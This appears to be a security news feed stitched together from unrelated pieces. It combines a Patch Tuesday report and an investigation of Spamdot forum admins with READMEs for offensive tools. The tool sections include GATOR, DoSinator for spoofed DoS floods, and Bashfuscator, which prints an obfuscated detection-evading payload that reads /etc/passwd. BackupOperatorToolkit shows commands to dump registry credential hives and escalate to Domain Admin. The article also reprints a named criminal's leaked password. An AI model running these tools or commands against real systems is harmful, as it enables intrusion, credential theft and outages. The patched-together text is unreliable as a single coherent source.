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Apple and Microsoft recently released software updates to fix dozens of security holes in their operating systems. Microsoft today patched at least 60 vulnerabilities in its Windows OS. Meanwhile, Apple’s new macOS Sonoma addresses at least 68 security weaknesses, and its latest update for iOS fixes two zero-day flaws.
Last week, Apple pushed out an urgent software update to its flagship iOS platform, warning that there were at least two zero-day exploits for vulnerabilities being used in the wild (CVE-2024-23225 and CVE-2024-23296). The security updates are available in iOS 17.4, iPadOS 17.4, and iOS 16.7.6.
Apple’s macOS Sonoma 14.4 Security Update addresses dozens of security issues. Jason Kitka, chief information security officer at Automox, said the vulnerabilities patched in this update often stem from memory safety issues, a concern that has led to a broader industry conversation about the adoption of memory-safe programming languages [full disclosure: Automox is an advertiser on this site].
On Feb. 26, 2024, the Biden administration issued a report that calls for greater adoption of memory-safe programming languages. On Mar. 4, 2024, Google published Secure by Design, which lays out the company’s perspective on memory safety risks.
Mercifully, there do not appear to be any zero-day threats hounding Windows users this month (at least not yet). Satnam Narang, senior staff research engineer at Tenable, notes that of the 60 CVEs in this month’s Patch Tuesday release, only six are considered “more likely to be exploited” according to Microsoft.
Those more likely to be exploited bugs are mostly “elevation of privilege vulnerabilities” including CVE-2024-26182 (Windows Kernel), CVE-2024-26170 (Windows Composite Image File System (CimFS), CVE-2024-21437 (Windows Graphics Component), and CVE-2024-21433 (Windows Print Spooler).
Narang highlighted CVE-2024-21390 as a particularly interesting vulnerability in this month’s Patch Tuesday release, which is an elevation of privilege flaw in Microsoft Authenticator, the software giant’s app for multi-factor authentication. Narang said a prerequisite for an attacker to exploit this flaw is to already have a presence on the device either through malware or a malicious application.
“If a victim has closed and re-opened the Microsoft Authenticator app, an attacker could obtain multi-factor authentication codes and modify or delete accounts from the app,” Narang said. “Having access to a target device is bad enough as they can monitor keystrokes, steal data and redirect users to phishing websites, but if the goal is to remain stealth, they could maintain this access and steal multi-factor authentication codes in order to login to sensitive accounts, steal data or hijack the accounts altogether by changing passwords and replacing the multi-factor authentication device, effectively locking the user out of their accounts.”
CVE-2024-21334 earned a CVSS (danger) score of 9.8 (10 is the worst), and it concerns a weakness in Open Management Infrastructure (OMI), a Linux-based cloud infrastructure in Microsoft Azure. Microsoft says attackers could connect to OMI instances over the Internet without authentication, and then send specially crafted data packets to gain remote code execution on the host device.
CVE-2024-21435 is a CVSS 8.8 vulnerability in Windows OLE, which acts as a kind of backbone for a great deal of communication between applications that people use every day on Windows, said Ben McCarthy, lead cybersecurity engineer at Immersive Labs.
“With this vulnerability, there is an exploit that allows remote code execution, the attacker needs to trick a user into opening a document, this document will exploit the OLE engine to download a malicious DLL to gain code execution on the system,” Breen explained. “The attack complexity has been described as low meaning there is less of a barrier to entry for attackers.”
A full list of the vulnerabilities addressed by Microsoft this month is available at the SANS Internet Storm Center, which breaks down the updates by severity and urgency.
Finally, Adobe today issued security updates that fix dozens of security holes in a wide range of products, including Adobe Experience Manager, Adobe Premiere Pro, ColdFusion 2023 and 2021, Adobe Bridge, Lightroom, and Adobe Animate. Adobe said it is not aware of active exploitation against any of the flaws.
By the way, Adobe recently enrolled all of its Acrobat users into a “new generative AI feature” that scans the contents of your PDFs so that its new “AI Assistant” can “understand your questions and provide responses based on the content of your PDF file.” Adobe provides instructions on how to disable the AI features and opt out here.
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WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.
git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
cd web-wordlist-generator && pip3 install -r requirements.txt
python3 generator.py -d target-web.com
You can run this application on a container after build a Dockerfile.
docker build -t webwordlistgenerator .
docker run webwordlistgenerator -d target-web.com -o
You can run this application on a container after pulling from DockerHub.
docker pull osmankandemir/webwordlistgenerator:v1.0
docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o
-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o PRINT, --print PRINT Use Print outputs on terminal screen.
In 2020, the United States brought charges against four men accused of building a bulletproof hosting empire that once dominated the Russian cybercrime industry and supported multiple organized cybercrime groups. All four pleaded guilty to conspiracy and racketeering charges. But there is a fascinating and untold backstory behind the two Russian men involved, who co-ran the world’s top spam forum and worked closely with Russia’s most dangerous cybercriminals.
From January 2005 to April 2013, there were two primary administrators of the cybercrime forum Spamdot (a.k.a Spamit), an invite-only community for Russian-speaking people in the businesses of sending spam and building botnets of infected computers to relay said spam. The Spamdot admins went by the nicknames Icamis (a.k.a. Ika), and Salomon (a.k.a. Sal).
Spamdot forum administrator “Ika” a.k.a. “Icamis” responds to a message from “Tarelka,” the botmaster behind the Rustock botnet. Dmsell said: “I’m actually very glad that I switched to legal spam mailing,” prompting Tarelka and Ika to scoff.
As detailed in my 2014 book, Spam Nation, Spamdot was home to crooks controlling some of the world’s nastiest botnets, global malware contagions that went by exotic names like Rustock, Cutwail, Mega-D, Festi, Waledac, and Grum.
Icamis and Sal were in daily communications with these botmasters, via the Spamdot forum and private messages. Collectively in control over millions of spam-spewing zombies, those botmasters also continuously harvested passwords and other data from infected machines.
As we’ll see in a moment, Salomon is now behind bars, in part because he helped to rob dozens of small businesses in the United States using some of those same harvested passwords. He is currently housed in a federal prison in Michigan, serving the final stretch of a 60-month sentence.
But the identity and whereabouts of Icamis have remained a mystery to this author until recently. For years, security experts — and indeed, many top cybercriminals in the Spamit affiliate program — have expressed the belief that Sal and Icamis were likely the same person using two different identities. And there were many good reasons to support this conclusion.
For example, in 2010 Spamdot and its spam affiliate program Spamit were hacked, and its user database shows Sal and Icamis often accessed the forum from the same Internet address — usually from Cherepovets, an industrial town situated approximately 230 miles north of Moscow. Also, it was common for Icamis to reply when Spamdot members communicated a request or complaint to Sal, and vice versa.
Image: maps.google.com
Still, other clues suggested Icamis and Sal were two separate individuals. For starters, they frequently changed the status on their instant messenger clients at different times. Also, they each privately discussed with others having attended different universities.
KrebsOnSecurity began researching Icamis’s real-life identity in 2012, but failed to revisit any of that research until recently. In December 2023, KrebsOnSecurity published new details about the identity of “Rescator,” a Russian cybercriminal who is thought to be closely connected to the 2013 data breach at Target.
That story mentioned Rescator’s real-life identity was exposed by Icamis in April 2013, as part of a lengthy farewell letter Ika wrote to Spamdot members wherein Ika said he was closing the forum and quitting the cybercrime business entirely.
To no one’s shock, Icamis didn’t quit the business: He simply became more quiet and circumspect about his work, which increasingly was focused on helping crime groups siphon funds from U.S. bank accounts. But the Rescator story was a reminder that 10 years worth of research on who Ika/Icamis is in real life had been completely set aside. This post is an attempt to remedy that omission.
The farewell post from Ika (aka Icamis), the administrator of both the BlackSEO forum and Pustota, the successor forum to Spamit/Spamdot.
Icamis and Sal offered a comprehensive package of goods and services that any aspiring or accomplished spammer would need on a day-to-day basis: Virtually unlimited bulletproof domain registration and hosting services, as well as services that helped botmasters evade spam block lists generated by anti-spam groups like Spamhaus.org. Here’s snippet of Icamis’s ad on Spamdot from Aug. 2008, wherein he addresses forum members with the salutation, “Hello Gentlemen Scammers.”
We are glad to present you our services!
Many are already aware (and are our clients), but publicity is never superfluous.Domains.
– all major gtlds (com, net, org, info, biz)
– many interesting and uninteresting cctlds
– options for any topic
– processing of any quantities
– guarantees
– exceptionally low prices for domains for white and gray schemes (including any SEO and affiliate spam )
– control panel with balances and auto-registration
– all services under the Ikamis brand, proven over the years;)Servers.
– long-term partnerships with several [data centers] in several parts of the world for any topic
– your own data center (no longer in Russia ;)) for gray and white topics
– any configuration and any hardware
– your own IP networks (PI, not PA) and full legal support
– realtime backups to neutral sites
– guarantees and full responsibility for the services provided
– non-standard equipment on request
– our own admins to resolve any technical issues (services are free for clients)
– hosting (shared and vps) is also possibleNon-standard and related services.
– ssl certificates signed by geotrust and thawte
– old domains (any year, any quantity)
– beautiful domains (keyword, short, etc.)
– domains with indicators (any, for SEO, etc.)
– making unstable gtld domains stable
– interception and hijacking of custom domains (expensive)
– full domain posting via web.archive.org with restoration of native content (preliminary applications)
– any updates to our panels to suit your needs upon request (our own coders)All orders for the “Domains” sections and “Servers” are carried out during the day (depending on our workload).
For non-standard and related services, a preliminary application is required 30 days in advance (except for ssl certificates – within 24 hours).
Icamis and Sal frequently claimed that their service kept Spamhaus and other anti-spam groups several steps behind their operations. But it’s clear that those anti-spam operations had a real and painful impact on spam revenues, and Salomon was obsessed with striking back at anti-spam groups, particularly Spamhaus.
In 2007, Salomon collected more than $3,000 from botmasters affiliated with competing spam affiliate programs that wanted to see Spamhaus suffer, and the money was used to fund a week-long distributed denial-of-service (DDoS) attack against Spamhaus and its online infrastructure. But rather than divert their spam botnets from their normal activity and thereby decrease sales, the botmasters voted to create a new DDoS botnet by purchasing installations of DDoS malware on thousands of already-hacked PCs (at a rate of $25 per 1,000 installs).
As an affiliate of Spamdot, Salomon used the email address ad1@safe-mail.net, and the password 19871987gr. The breach tracking service Constella Intelligence found the password 19871987gr was used by the email address grichishkin@gmail.com. Multiple accounts are registered to that email address under the name Alexander Valerievich Grichishkin, from Cherepovets.
In 2020, Grichishkin was arrested outside of Russia on a warrant for providing bulletproof hosting services to cybercriminal gangs. The U.S. government said Grichishkin and three others set up the infrastructure used by cybercriminals between 2009 to 2015 to distribute malware and attack financial institutions and victims throughout the United States.
Those clients included crooks using malware like Zeus, SpyEye, Citadel and the Blackhole exploit kit to build botnets and steal banking credentials.
“The Organization and its members helped their clients to access computers without authorization, steal financial information (including banking credentials), and initiate unauthorized wire transfers from victims’ financial accounts,” the government’s complaint stated.
Grichishkin pleaded guilty to conspiracy charges and was sentenced to four years in prison. He is 36 years old, has a wife and kids in Thailand, and is slated for release on February 8, 2024.
The identity of Icamis came into view when KrebsOnSecurity began focusing on clues that might connect Icamis to Cherepovets (Ika’s apparent hometown based on the Internet addresses he regularly used to access Spamdot).
Historic domain ownership records from DomainTools.com reveal that many of the email addresses and domains connected to Icamis invoke the name “Andrew Artz,” including icamis[.]ws, icamis[.]ru, and icamis[.]biz. Icamis promoted his services in 2003 — such as bulk-domains[.]info — using the email address icamis@4host.info. From one of his ads in 2005:
Domains For Projects Advertised By Spam
I can register bulletproof domains for sites and projects advertised by spam(of course they must be legal). I can not provide DNS for u, only domains. The price will be:
65$ for domain[if u will buy less than 5 domains]
50$ for domain[more than 5 domains]
45$ for domain[more than 10 domains]
These prices are for domains in the .net & .com zones.
If u want to order domains write me to: icamis@4host.info
In 2009, an “Andrew Artz” registered at the hosting service FirstVDS.com using the email address icamis@4host.info, with a notation saying the company name attached to the account was “WMPay.” Likewise, the bulletproof domain service icamis[.]ws was registered to an Andrew Artz.
The domain wmpay.ru is registered to the phonetically similar name “Andrew Hertz,” at andrew@wmpay.ru. A search on “icamis.ru” in Google brings up a 2003 post by him on a discussion forum designed by and for students of Amtek, a secondary school in Cherepovets (Icamis was commenting from an Internet address in Cherepovets).
The website amtek-foreva-narod.ru is still online, and it links to several yearbooks for Amtek graduates. It states that the yearbook for the Amtek class of 2004 is hosted at 41.wmpay[.]com.
The yearbook photos for the Amtek class of 2004 are not indexed in the Wayback Machine at archive.org, but the names and nicknames of 16 students remain. However, it appears that the entry for one student — the Wmpay[.]com site administrator — was removed at some point.
In 2004, the administrator of the Amtek discussion forum — a 2003 graduate who used the handle “Grand” — observed that there were three people named Andrey who graduated from Amtek in 2004, but one of them was conspicuously absent from the yearbook at wmpay[.]ru: Andrey Skvortsov.
To bring this full circle, Icamis was Andrey Skvortsov, the other Russian man charged alongside Grichiskin (the two others who pleaded guilty to conspiracy charges were from Estonia and Lithuania). All of the defendants in that case pleaded guilty to conspiracy to engage in a Racketeer Influenced Corrupt Organization (RICO).
[Author’s note: No doubt government prosecutors had their own reasons for omitting the nicknames of the defendants in their press releases, but that information sure would have saved me a lot of time and effort].
Skvortsov was sentenced to time served, and presumably deported. His current whereabouts are unknown and he was not reachable for comment via his known contact addresses.
The government says Ika and Sal’s bulletproof hosting empire provided extensive support for a highly damaging cybercrime group known as the JabberZeus Crew, which worked closely with the author of the Zeus Trojan — Evgeniy Mikhailovich Bogachev — to develop a then-advanced strain of the Zeus malware that was designed to defeat one-time codes for authentication. Bogachev is a top Russian cybercriminal with a standing $3 million bounty on his head from the FBI.
The JabberZeus Crew stole money by constantly recruiting money mules, people in the United States and in Europe who could be enticed or tricked into forwarding money stolen from cybercrime victims. Interestingly, Icamis’s various email addresses are connected to websites for a vast network of phony technology companies that claimed they needed people with bank accounts to help pay their overseas employees.
Icamis used the email address tech@safe-mail.net on Spamdot, and this email address is tied to the registration records for multiple phony technology companies that were set up to recruit money mules.
One such site — sun-technology[.]net — advertised itself as a Hong Kong-based electronics firm that was looking for “honest, responsible and motivated people in UK, USA, AU and NZ to be Sales Representatives in your particular region and receive payments from our clients. Agent commission is 5 percent of total amount received to the personal bank account. You may use your existing bank account or open a new one for these purposes.”
In January 2010, KrebsOnSecurity broke the news that the JabberZeus crew had just used money mules to steal $500,000 from tiny Duanesburg Central School District in upstate New York. As part of his sentence, Skvortsov was ordered to pay $497,200 in restitution to the Duanesburg Central School District.
The JabberZeus Crew operated mainly out of the eastern Ukraine city of Donetsk, which was always pro-Russia and is now occupied by Russian forces. But when Russia invaded Ukraine in February 2022, the alleged leader of the notorious cybercrime gang — Vyacheslav Igoravich Andreev (a.ka. Penchukov) — fled his mandatory military service orders and was arrested in Geneva, Switzerland. He is currently in federal custody awaiting trial, and is slated to be arraigned in U.S. federal court tomorrow (Jan. 9, 2024). A copy of the indictment against Andreev is here (PDF).
Andreev, aka “Tank,” seen here performing as a DJ in Ukraine in an undated photo from social media.
GATOR - GCP Attack Toolkit for Offensive Research, a tool designed to aid in research and exploiting Google Cloud Environments. It offers a comprehensive range of modules tailored to support users in various attack stages, spanning from Reconnaissance to Impact.
| Resource Category | Primary Module | Command Group | Operation | Description |
|---|---|---|---|---|
| User Authentication | auth | - | activate | Activate a Specific Authentication Method |
| - | add | Add a New Authentication Method | ||
| - | delete | Remove a Specific Authentication Method | ||
| - | list | List All Available Authentication Methods | ||
| Cloud Functions | functions | - | list | List All Deployed Cloud Functions |
| - | permissions | Display Permissions for a Specific Cloud Function | ||
| - | triggers | List All Triggers for a Specific Cloud Function | ||
| Cloud Storage | storage | buckets | list | List All Storage Buckets |
| permissions | Display Permissions for Storage Buckets | |||
| Compute Engine | compute | instances | add-ssh-key | Add SSH Key to Compute Instances |
Python 3.11 or newer should be installed. You can verify your Python version with the following command:
python --versiongit clone https://github.com/anrbn/GATOR.git
cd GATOR
python setup.py installpip install gator-redHave a look at the GATOR Documentation for an explained guide on using GATOR and it's module!
If you encounter any problems with this tool, I encourage you to let me know. Here are the steps to report an issue:
Check Existing Issues: Before reporting a new issue, please check the existing issues in this repository. Your issue might have already been reported and possibly even resolved.
Create a New Issue: If your problem hasn't been reported, please create a new issue in the GitHub repository. Click the Issues tab and then click New Issue.
Describe the Issue: When creating a new issue, please provide as much information as possible. Include a clear and descriptive title, explain the problem in detail, and provide steps to reproduce the issue if possible. Including the version of the tool you're using and your operating system can also be helpful.
Submit the Issue: After you've filled out all the necessary information, click Submit new issue.
Your feedback is important, and will help improve the tool. I appreciate your contribution!
I'll be reviewing reported issues on a regular basis and try to reproduce the issue based on your description and will communicate with you for further information if necessary. Once I understand the issue, I'll work on a fix.
Please note that resolving an issue may take some time depending on its complexity. I appreciate your patience and understanding.
I warmly welcome and appreciate contributions from the community! If you're interested in contributing on any existing or new modules, feel free to submit a pull request (PR) with any new/existing modules or features you'd like to add.
Once you've submitted a PR, I'll review it as soon as I can. I might request some changes or improvements before merging your PR. Your contributions play a crucial role in making the tool better, and I'm excited to see what you'll bring to the project!
Thank you for considering contributing to the project.
If you have any questions regarding the tool or any of its modules, please check out the documentation first. I've tried to provide clear, comprehensive information related to all of its modules. If however your query is not yet solved or you have a different question altogether please don't hesitate to reach out to me via Twitter or LinkedIn. I'm always happy to help and provide support. :)
DoSinator is a versatile Denial of Service (DoS) testing tool developed in Python. It empowers security professionals and researchers to simulate various types of DoS attacks, allowing them to assess the resilience of networks, systems, and applications against potential cyber threats.
Clone the repository:
git clone https://github.com/HalilDeniz/DoSinator.gitNavigate to the project directory:
cd DoSinatorInstall the required dependencies:
pip install -r requirements.txtusage: dos_tool.py [-h] -t TARGET -p PORT [-np NUM_PACKETS] [-ps PACKET_SIZE]
[-ar ATTACK_RATE] [-d DURATION] [-am {syn,udp,icmp,http,dns}]
[-sp SPOOF_IP] [--data DATA]
optional arguments:
-h, --help Show this help message and exit.
-t TARGET, --target TARGET
Target IP address.
-p PORT, --port PORT Target port number.
-np NUM_PACKETS, --num_packets NUM_PACKETS
Number of packets to send (default: 500).
-ps PACKET_SIZE, --packet_size PACKET_SIZE
Packet size in bytes (default: 64).
-ar ATTACK_RATE, --attack_rate ATTACK_RATE
Attack rate in packets per second (default: 10).
-d DURATION, --duration DURATION
Duration of the attack in seconds.
-am {syn,udp,icmp,htt p,dns}, --attack-mode {syn,udp,icmp,http,dns}
Attack mode (default: syn).
-sp SPOOF_IP, --spoof-ip SPOOF_IP
Spoof IP address.
--data DATA Custom data string to send.target_ip: IP address of the target system.target_port: Port number of the target service.num_packets: Number of packets to send (default: 500).packet_size: Size of each packet in bytes (default: 64).attack_rate: Attack rate in packets/second (default: 10).duration: Duration of the attack in seconds.attack_mode: Attack mode: syn, udp, icmp, http (default: syn).spoof_ip: Spoof IP address (default: None).data: Custom data string to send.The usage of the Dosinator tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The author assumes no liability and is not responsible for any misuse or damage caused by this program.
By using Dosinator, you agree to use this tool for educational and ethical purposes only. The author is not responsible for any actions or consequences resulting from misuse of this tool.
Please ensure that you have the necessary permissions to conduct any form of testing on a target network. Use this tool at your own risk.
Contributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.
If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:
Bashfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. It accomplishes this by generating convoluted, randomized Bash code that at runtime evaluates to the original input and executes it. Bashfuscator makes generating highly obfuscated Bash commands and scripts easy, both from the command line and as a Python library.
The purpose of this project is to give Red Team the ability to bypass static detections on a Linux system, and the knowledge and tools to write better Bash obfuscation techniques.
This framework was also developed with Blue Team in mind. With this framework, Blue Team can easily generate thousands of unique obfuscated scripts or commands to help create and test detections of Bash obfuscation.
This is a list of all the media (i.e. youtube videos) or links to slides about Bashfuscator.
Though Bashfuscator does work on UNIX systems, many of the payloads it generates will not. This is because most UNIX systems use BSD style utilities, and Bashfuscator was built to work with GNU style utilities. In the future BSD payload support may be added, but for now payloads generated with Bashfuscator should work on GNU Linux systems with Bash 4.0 or newer.
Bashfuscator requires Python 3.6+.
On a Debian-based distro, run this command to install dependencies:
sudo apt-get update && sudo apt-get install python3 python3-pip python3-argcomplete xclip
On a RHEL-based distro, run this command to install dependencies:
sudo dnf update && sudo dnf install python3 python3-pip python3-argcomplete xclip
Then, run these commands to clone and install Bashfuscator:
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
python3 setup.py install --userOnly Debian and RHEL based distros are supported. Bashfuscator has been tested working on some UNIX systems, but is not supported on those systems.
For simple usage, just pass the command you want to obfuscate with -c, or the script you want to obfuscate with -f.
$ bashfuscator -c "cat /etc/passwd"
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
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[+] Payload size: 1232 charactersYou can copy the obfuscated payload to your clipboard with --clip, or write it to a file with -o.
For more advanced usage, use the --choose-mutators flag, and specify exactly what obfuscation modules, or Mutators, you want to use in what order. Use also the -s argument to control the level of obfuscation used.
bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
[+] Payload:
"${@#b }" "e"$'\166'"a""${@}"l "$( ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf %s 'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'> '/tmp/wW/?
??'; prin${@#K. }tf %s 'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' > '/tmp/wW/???
' "${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76' >'/tmp/wW/??
';"${@, }" $'\x70'rintf %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLT tCLx' >'/tmp/wW/?
?' ; ${*/~} p""${@##vl }ri""n''tf %s ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s "$( prin${*//N/H }tf '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ' >'/tmp/wW/????' "${@%\` }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?
' ${*};"p"rin''$'\x74f' %s 'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?
?
' && "${@^^ }" pr""intf %s 'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/
???' ${*^}; ${!@} "${@%%I }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\( }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2 -c)" $@ |$ {@//Y^ } \ba\s"h" ' > '/tmp/wW/
??
' ${@%b } ; pr"i"\ntf %s 'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE' > '/tmp/wW/??
?'"${@//Y }" ;$'c\141t' '/tmp/wW'/???? ${*/m};"${@,, }" $'\162'\m '/tmp/wW'/???? &&${@^ }rmd\ir '/tmp/wW'; ${@^^ } )" "${@}"
[+] Payload size: 2062 charactersFor more detailed usage and examples, please refer to the documentation.
Adding new obfuscation methods to the framework is simple, as Bashfuscator was built to be a modular and extendable framework. Bashfuscator's backend does all the heavy lifting so you can focus on writing robust obfuscation methods (documentation on adding modules coming soon).
Bashfuscator was created for educational purposes only, use only on computers or networks you have explicit permission to do so. The Bashfuscator team is not responsible for any illegal or malicious acts preformed with this project.
The BackupOperatorToolkit (BOT) has 4 different mode that allows you to escalate from Backup Operator to Domain Admin.
Use "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe" before running the tool.
The SERVICE mode creates a service on the remote host that will be executed when the host is rebooted.
The service is created by modyfing the remote registry. This is possible by passing the "REG_OPTION_BACKUP_RESTORE" value to RegOpenKeyExA and RegSetValueExA.
It is not possible to have the service executed immediately as the service control manager database "SERVICES_ACTIVE_DATABASE" is loaded into memory at boot and can only be modified with local administrator privileges, which the Backup Operator does not have.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTIONThe DSRM mode will set the DsrmAdminLogonBehavior registry key found in "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" to either 0, 1, or 2.
Setting the value to 0 will only allow the DSRM account to be used when in recovery mode.
Setting the value to 1 will allow the DSRM account to be used when the Directory Services service is stopped and the NTDS is unlocked.
Setting the value to 2 will allow the DSRM account to be used with network authentication such as WinRM.
If the DUMP mode has been used and the DSRM account has been cracked offline, set the value to 2 and log into the Domain Controller with the DSRM account which will be local administrator.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2The DUMP mode will dump the SAM, SYSTEM, and SECURITY hives to a local path on the remote host or upload the files to a network share.
Once the hives have been dumped you could PtH with the Domain Controller hash, crack DSRM and enable network auth, or possibly authenticate with another account found in the dumps. Accounts from other forests may be stored in these files, I'm not sure why but this has been observed on engagements with management forests. This mode is inspired by the BackupOperatorToDA project.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DKThe IFEO (Image File Execution Options) will enable you to run an application when a specifc process is terminated.
This could grant a shell before the SERVICE mode will in case the target host is heavily utilized and rarely rebooted.
The executable will be running as a child to the WerFault.exe process.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
Note: This is a work-in-progress prototype, please treat it as such. Pull requests are welcome! You can get your feet wet with good first issues
An easy-to-use library for emulating code in minidump files. Here are some links to posts/videos using dumpulator:
The example below opens StringEncryptionFun_x64.dmp (download a copy here), allocates some memory and calls the decryption function at 0x140001000 to decrypt the string at 0x140017000:
from dumpulator import Dumpulator
dp = Dumpulator("StringEncryptionFun_x64.dmp")
temp_addr = dp.allocate(256)
dp.call(0x140001000, [temp_addr, 0x140017000])
decrypted = dp.read_str(temp_addr)
print(f"decrypted: '{decrypted}'")The StringEncryptionFun_x64.dmp is collected at the entry point of the tests/StringEncryptionFun example. You can get the compiled binaries for StringEncryptionFun here
from dumpulator import Dumpulator
dp = Dumpulator("StringEncryptionFun_x64.dmp", trace=True)
dp.start(dp.regs.rip)This will create StringEncryptionFun_x64.dmp.trace with a list of instructions executed and some helpful indications when switching modules etc. Note that tracing significantly slows down emulation and it's mostly meant for debugging.
from dumpulator import Dumpulator
dp = Dumpulator("my.dmp")
buf = dp.call(0x140001000)
dp.read_str(buf, encoding='utf-16')Say you have the following function:
00007FFFC81C06C0 | mov qword ptr [rsp+0x10],rbx ; prolog_start
00007FFFC81C06C5 | mov qword ptr [rsp+0x18],rsi
00007FFFC81C06CA | push rbp
00007FFFC81C06CB | push rdi
00007FFFC81C06CC | push r14
00007FFFC81C06CE | lea rbp,qword ptr [rsp-0x100]
00007FFFC81C06D6 | sub rsp,0x200 ; prolog_end
00007FFFC81C06DD | mov rax,qword ptr [0x7FFFC8272510]
You only want to execute the prolog and set up some registers:
from dumpulator import Dumpulator
prolog_start = 0x00007FFFC81C06C0
# we want to stop the instruction after the prolog
prolog_end = 0x00007FFFC81C06D6 + 7
dp = Dumpulator("my.dmp", quiet=True)
dp.regs.rcx = 0x1337
dp.start(start=prolog_start, end=prolog_end)
print(f"rsp: {hex(dp.regs.rsp)}")The quiet flag suppresses the logs about DLLs loaded and memory regions set up (for use in scripts where you want to reduce log spam).
You can (re)implement syscalls by using the @syscall decorator:
from dumpulator import *
from dumpulator.native import *
from dumpulator.handles import *
from dumpulator.memory import *
@syscall
def ZwQueryVolumeInformationFile(dp: Dumpulator,
FileHandle: HANDLE,
IoStatusBlock: P[IO_STATUS_BLOCK],
FsInformation: PVOID,
Length: ULONG,
FsInformationClass: FSINFOCLASS
):
return STATUS_NOT_IMPLEMENTEDAll the syscall function prototypes can be found in ntsyscalls.py. There are also a lot of examples there on how to use the API.
To hook an existing syscall implementation you can do the following:
import dumpulator.ntsyscalls as ntsyscalls
@syscall
def ZwOpenProcess(dp: Dumpulator,
ProcessHandle: Annotated[P[HANDLE], SAL("_Out_")],
DesiredAccess: Annotated[ACCESS_MASK, SAL("_In_")],
ObjectAttributes: Annotated[P[OBJECT_ATTRIBUTES], SAL("_In_")],
ClientId: Annotated[P[CLIENT_ID], SAL("_In_opt_")]
):
process_id = ClientId.read_ptr()
assert process_id == dp.parent_process_id
ProcessHandle.write_ptr(0x1337)
return STATUS_SUCCESS
@syscall
def ZwQueryInformationProcess(dp: Dumpulator,
ProcessHandle: Annotated[HANDLE, SAL("_In_")],
ProcessInformationClass: Annotated[PROCESSINFOCLASS, SAL("_In_")],
ProcessInformation: Annotated[PVOID, SAL("_Out_wri tes_bytes_(ProcessInformationLength)")],
ProcessInformationLength: Annotated[ULONG, SAL("_In_")],
ReturnLength: Annotated[P[ULONG], SAL("_Out_opt_")]
):
if ProcessInformationClass == PROCESSINFOCLASS.ProcessImageFileNameWin32:
if ProcessHandle == dp.NtCurrentProcess():
main_module = dp.modules[dp.modules.main]
image_path = main_module.path
elif ProcessHandle == 0x1337:
image_path = R"C:\Windows\explorer.exe"
else:
raise NotImplementedError()
buffer = UNICODE_STRING.create_buffer(image_path, ProcessInformation)
assert ProcessInformationLength >= len(buffer)
if ReturnLength.ptr:
dp.write_ulong(ReturnLength.ptr, len(buffer))
ProcessInformation.write(buffer)
return STATUS_SUCCESS
